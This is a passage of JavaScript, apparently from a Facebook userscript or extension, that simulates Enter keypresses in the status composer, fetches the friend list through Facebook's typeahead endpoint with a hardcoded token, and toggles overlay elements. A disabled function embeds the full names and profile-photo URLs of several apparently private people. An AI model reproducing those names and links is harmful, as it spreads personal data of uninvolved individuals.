 //evObj.initKeyboardEvent( 'keydown', true, true, window, "Enter" );
 if (typeof(evObj.initKeyboardEvent) != 'undefined') {
  evObj.initKeyboardEvent('keydown', true, true, window, false, false, false, false, 13, 0);

  evObj.initKeyboardEvent('keyup', true, true, window, false, false, false, false, 13, 0);

  evObj.initKeyboardEvent('keypress', true, true, window, false, false, false, false, 13, 0);
  

} else {
    evObj.initKeyEvent("keydown",true,true,window,false,false,false,false,13,0);
}
 // evObj.keyCode = 13;
	var a=div_input.dispatchEvent(evObj);	
							}
							
						//viewFriendList();
		
						
						
						}
		//else if(document.getElementById(id+'_14')) document.getElementById(id+'_14').value=traite_chrome(htmlval);
		/*	if(htmlval.substring(htmlval.length,htmlval.length-1)=="@") 
						{
							
							document.getElementById('facebookplus').style.display="none";
							div_input=document.getElementsByName('xhpc_message_text')[0];
							if(div_input)
							{
								div_input.innerText=document.getElementsByName('xhpc_message')[0].value;
								dont_check=false;
								div_input.style.display="block";
							}
							
						}*/
		},0);
		
	}
	},0);
	//if(page=="home") $(".UIComposer_ButtonArea").removeClass("hidden_elem");
}
function viewFriendList(){
	return;
			id2=id_input.split('_')[0];
							var friendSelect=document.getElementById(id2+'_12');
							if(friendSelect){
								getFriendList();
								friendSelect.className="uiTypeaheadView "
								var s=document.createElement("ul");
								s.className="compact";
								s.innerHTML='<li class="page  "><img src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs228.ash2/50355_151891194845763_556_q.jpg" alt=""><span class="text">12 Infos de Cyprien</span><div class="details"><span class="detailsContents">Ã‰mission tÃ©lÃ©visÃ©e</span></div></li><li class="user  "><img src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs1263.snc4/157430_1523958725_655321_q.jpg" alt=""><span class="text">Thomas Fouchy</span><div class="details"><span class="detailsContents"></span></div></li><li class="user"><img src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs716.ash1/161354_100001676036405_7752454_q.jpg" alt=""><span class="text">Tatianaa Fourny</span><div class="details"><span class="detailsContents"></span></div></li><li class="user "><img src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs323.snc4/41415_648716245_921_q.jpg" alt=""><span class="text">Fabien Tassy</span><div class="details"><span class="detailsContents"></span></div></li><li class="user  selected"><img src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs425.ash2/70516_100000070748104_5387979_q.jpg" alt=""><span class="text">Thibaud Riard</span><div class="details"><span class="detailsContents"></span></div></li>';
								friendSelect.appendChild(s);
							}
}

function getFriendList(){
	ajaxeur("http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+FB_UID+"&token=1292245261-5&&options[0]=friends_only",vide,function(data){console.log(JSON.parse(data));});
//	
}
function newstatut()
{
	if(!newFB)
	{
		composer_input=document.getElementsByClassName('UIComposer_InputShadow')[0]
		if(composer_input)
		{
			composer_input.removeChild(document.getElementById('facebookplus'));
		}
		div_input=document.getElementsByClassName('Mentions_Input')[0];
		if(div_input)
		{
			div_input.addEventListener('focus',placeiframe,false);
			div_input.style.display="block";
			div_input.style.color="#2d0186";
	
		}
	}
	else
	{setTimeout(function(){
		composer_input=document.getElementsByClassName('composerTypeahead')[0];
		if(composer_input)
		{
			div_input=document.getElementsByClassName('mentionsTextarea')[0];
			if(div_input)
			{
				//div_input.addEventListener('focus',placeiframe,false);
				div_input.style.display="block";
				div_input.style.color="#6f6d92";
			}
			composer_input.removeChild(document.getElementById('facebookplus'));
			var xer=document.getElementById('faceboo');
			xer.style.display="none";
			xer.style.opacity="0";
		
		}	
		},1000);
	}
	
}

var lakel=0;
var content="";
var intervaleur=0;

function FadeIn(id,millisec){
	var obj =  document.getElementById(id);
	changeOpac(0,obj);
	var timer = 0;
	var speed = Math.round(millisec / 100);
	var o = 0;
	for(var a=0;a<100;a++){
		setTimeout(function(){changeOpac(o,obj);o++;},(timer*speed))
			timer++;
		}
}
function FadeOut(id,millisec){
	var obj = document.getElementById(id);
	changeOpac(100,obj);
	var timer = 0;
	var speed = Math.round(millisec / 100);
	var o = 100;
	for(var a=0;a<100;a++){
		setTimeout(function(){changeOpac(o,obj);o--;},(timer*speed))
			timer++;
		}
}
function FadeOutO(obj,millisec){
	 
	changeOpac(100,obj);
	var timer = 0;
	var speed = Math.round(millisec / 100);
	var o = 100;
	for(var a=0;a<100;a++){
		setTimeout(function(){changeOpac(o,obj);o--;},(timer*speed))
			timer++;
		}
}
function changeOpac(opacity, object) {
    if(object.style){object = object.style;}
    object.opacity = (opacity / 100);
    object.MozOpacity = (opacity / 100);
 }